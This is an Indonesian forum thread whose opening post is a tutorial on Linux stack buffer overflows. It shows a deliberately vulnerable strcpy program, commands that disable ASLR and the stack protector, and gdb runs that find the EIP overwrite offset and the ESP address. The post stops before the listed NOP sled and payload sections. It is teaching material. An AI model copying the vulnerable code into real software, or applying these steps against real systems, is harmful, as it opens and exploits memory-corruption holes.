|
| Linux buffer overflow tutorial | |
| | Pengirim | Message |
---|
BumiayuKita Administrator
Jumlah posting : 2456 Points : 3020 Reputation : 85 Join date : 06.02.11 Age : 34 Lokasi : bumiayu
| Subyek: Linux buffer overflow tutorial Fri Apr 01, 2011 12:12 am | |
| Linux Buffer Overflow Tutorial Edisi : Pertama
Penulis : gunslinger_ <yudha.gunslinger@gmail.com> Tanggal : Sat Jun 26 20:27:41 WIT 2010
Konten : 1. Pendahuluan 2. Konsep exploitasi 3. Attack vector 3.1. NOP 3.2. NOPSLED 3.3. PAYLOAD 4. Special thanks
-- Pendahuluan Setelah saya banyak melakukan penelitian pada kernel linux yang baru - baru ini , terutama kernel 2.6.8 ke atas memang tidak mungkin untuk mempraktikan teknik exploitasi buffer overflow dengan cara lama . maka dari itu saya menulis tutorial ini agar kita bisa mempraktikan "apa itu sebenarnya buffer overflow ?" pada kernel 2.6.8 ke atas karena kita mendapatkan kernel terbaru pada operting system pada saat ini. dengan tutorial ini, saya akan menjelaskan secara terperinci menjelaskan teknik exploitasi buffer overflow.
-- Konsep Exploitasi buffer overflow ok, sekarang kita lanjut saja ke topik utama. sekarang kita harus membuat program yang vulnerable terhadap serangan buffer overflow.
---------------------bof.c-------------------------- #include <stdio.h> #include <string.h>
int main(int argc, char** argv) { char buffer[400]; strcpy(buffer, argv[1]);
return 0; } ---------------------EOF-----------------------------
kita save dengan nama bof.c . kita lihat pada source berikut itu bahwa adanya fungsi strcpy() . fungsi strcpy() sangat berbahaya karena tidak adanya pengecekan filter panjang data yang akan kita input. ok, sekarang saatnya kita mematikan randomize_va_space memory tujuannya agar kita mudah mengalokasikan memory. dengan cara seperti berikut.
root@bt:~# cat /proc/sys/kernel/randomize_va_space 2 root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space root@bt:~# cat /proc/sys/kernel/randomize_va_space 0 root@bt:~#
sekarang saatnya kita meng - compile program tersebut. perhatian : pada saat mengompile tambahkan opsi -fno-stack-protector dan -mpreferred-stack-boundary=2. berikut caranya
root@bt:~# gcc -g -o bof -fno-stack-protector -mpreferred-stack-boundary=2 bof.c
sekarang saatnya kita mencari panjang string agar program si program mengalami crash.
root@bt:~# ./bof `perl -e 'print "A" x 400'` root@bt:~# ./bof `perl -e 'print "A" x 403'`
seperti yang kita lihat, data tercopy kedalam buffer dan program exit secara normal. dimana kita mengkopikan huruf "A" 400 - 403 bytes kedalam buffer. root@bt:~# ./bof `perl -e 'print "A" x 404'` Segmentation fault root@bt:~#
disitu kita tahu kita membutuhkan 404 panjang string agar si program mengalami crash . lalu kemudian sekarang yang kita lakukan adalah kita mencari panjang string agar register EIP teroverwrite pada inputan kita. EIP adalah poin awal dimana instruksi selanjutnya akan tereksekusi, maka jika EIP tersebut kita teroverwrite, kita bisa melakukan apa yang kita mau eksekusi pada saat itu. sekarang, saatnya kita gunakan GNU debugger atau biasa disebut gdb. perhatikan pada experiment berikut.
root@bt:~# gdb -q bof (gdb) list 1 #include <stdio.h> 2 #include <string.h> 3 4 int main(int argc, char** argv) 5 { 6 char buffer[400]; 7 strcpy(buffer, argv[1]); 8 9 return 0; 10 } (gdb) run `perl -e 'print "A" x 404'` Starting program: /root/bof `perl -e 'print "A" x 404'`
Program received signal SIGSEGV, Segmentation fault. 0xb7e86606 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6 (gdb) run `perl -e 'print "A" x 405'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/bof `perl -e 'print "A" x 405'`
Program received signal SIGSEGV, Segmentation fault. 0xb7e800a9 in ?? () from /lib/tls/i686/cmov/libc.so.6 (gdb)
hmmm terlihat bahwa kita belum mengoverwritenya kita coba lagi tambahkan 1 string
(gdb) run `perl -e 'print "A" x 406'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/bof `perl -e 'print "A" x 406'`
Program received signal SIGSEGV, Segmentation fault. 0xb7004141 in ?? () (gdb)
ok, disitu sekarang sudah terlihat kita sedikit lagi mengoverwrite total eip. perhatikan -> 0xb7004141 disitu ada 4141 , 41 adalah huruf "A" dalam bilangan hexadesimal . namun kita perlu mengoverwrite total address EIP tersebut.
(gdb) run `perl -e 'print "A" x 407'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/bof `perl -e 'print "A" x 407'`
Program received signal SIGSEGV, Segmentation fault. 0x00414141 in ?? () (gdb)
sedikit lagi...
(gdb) run `perl -e 'print "A" x 408'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/bof `perl -e 'print "A" x 408'`
Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb)
disitu terlihat bahwa kita telah mengoverwrite total register EIP. perhatikan -> 0x41414141 kita sudah berhasil mengoverwritenya dengan huruf "A" dengan panjang string 408.
(gdb) i r eax 0x0 0 ecx 0xbffff0b7 -1073745737 edx 0x199 409 ebx 0xb7fc9ff4 -1208180748 esp 0xbffff250 0xbffff250 ebp 0x41414141 0x41414141 esi 0x8048400 134513664 edi 0x8048310 134513424 eip 0x41414141 0x41414141 <-- ter overwrite !! eflags 0x210246 [ PF ZF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)
sekarang yang perlu kita lakukan adalah dimana keberadaan register ESP (stack pointer).
(gdb) list 1 1 #include <stdio.h> 2 #include <string.h> 3 4 int main(int argc, char** argv) 5 { 6 char buffer[400]; 7 strcpy(buffer, argv[1]); 8 9 return 0; 10 } (gdb) b 7 Breakpoint 1 at 0x80483cd: file bof.c, line 7. (gdb)
perlu diperhatikan kita perlu menggunakan dimana fungsi vulnerable strcpy() sebagai breakpoint untuk mengetahui dimana keberadaan register ESP.
(gdb) run test to see where esp is The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/bof test to see where esp is
Breakpoint 1, main (argc=7, argv=0xbffff434) at bof.c:7 7 strcpy(buffer, argv[1]); (gdb) i r esp esp 0xbffff210 0xbffff210 (gdb)
esp terletak pada address 0xbffff210 | |
| | | Black.exe Global Mod
Jumlah posting : 844 Points : 1491 Reputation : 44 Join date : 08.01.11 Age : 35
| Subyek: Re: Linux buffer overflow tutorial Mon Jul 04, 2011 8:31 pm | |
| MANGKRATABS GAN | |
| | | N3TRUZ Global Mod
Jumlah posting : 491 Points : 552 Reputation : 16 Join date : 03.07.11 Lokasi : underware
| Subyek: Re: Linux buffer overflow tutorial Mon Jul 04, 2011 9:26 pm | |
|
Terakhir diubah oleh netruz tanggal Mon Jul 04, 2011 9:28 pm, total 1 kali diubah | |
| | | BumiayuKita Administrator
Jumlah posting : 2456 Points : 3020 Reputation : 85 Join date : 06.02.11 Age : 34 Lokasi : bumiayu
| Subyek: Re: Linux buffer overflow tutorial Mon Jul 04, 2011 9:31 pm | |
| saling berbagi kasih info buat forum | |
| | | Sponsored content
| Subyek: Re: Linux buffer overflow tutorial | |
| |
| | | | Linux buffer overflow tutorial | |
|
Similar topics | |
|
| Permissions in this forum: | Anda tidak dapat menjawab topik
| |
| |
| Latest topics | » Baktrack TutorialSun Jul 28, 2019 2:26 am by kenta » aplikasi gambas pada linuxTue Apr 30, 2019 10:28 am by kenta » beli linux ubuntu terbaru di surabayaSun Mar 31, 2019 10:08 am by kenta » desain robotFri Jan 19, 2018 1:25 pm by kenta » membuat robot tidak susahFri Jan 19, 2018 1:15 pm by kenta » Salam.. Salam.. Salam..Thu Nov 30, 2017 7:42 am by BumiayuKita» teknologi penyaring udara dan airWed Oct 04, 2017 8:41 am by kenta » [CloudMILD] VPS SSD IIX 2X RAM + Xtra SSD SpaceMon Jul 24, 2017 10:46 am by BumiayuKita» cara menutup akses dari situs negatifTue Apr 04, 2017 1:04 pm by kenta » Aplikasi Google TalkMon Mar 20, 2017 3:00 am by BumiayuKita» Driver buat Webcam PC ?? merknya M-Tech,, Fri Jan 30, 2015 8:51 pm by aelgrim » Portal Blog,,,,,Sun Dec 14, 2014 12:38 am by robofics» Appteknodroid - Seputar Dunia AndroidMon Nov 10, 2014 11:32 pm by Pr0phecy » Software animasi yang agan2 pakeTue Sep 30, 2014 1:11 pm by X_campus » INDO BILLING 6.70 + KEYSun Sep 21, 2014 2:17 pm by abdul halim |
Statistics | Total 12294 user terdaftar User terdaftar terakhir adalah Adlygans
Total 31710 kiriman artikel dari user in 5734 subjects
|
Banner Forum | Dukung forum Blackc0de dengan memasang bannernya.
|
Social Networking |
|
|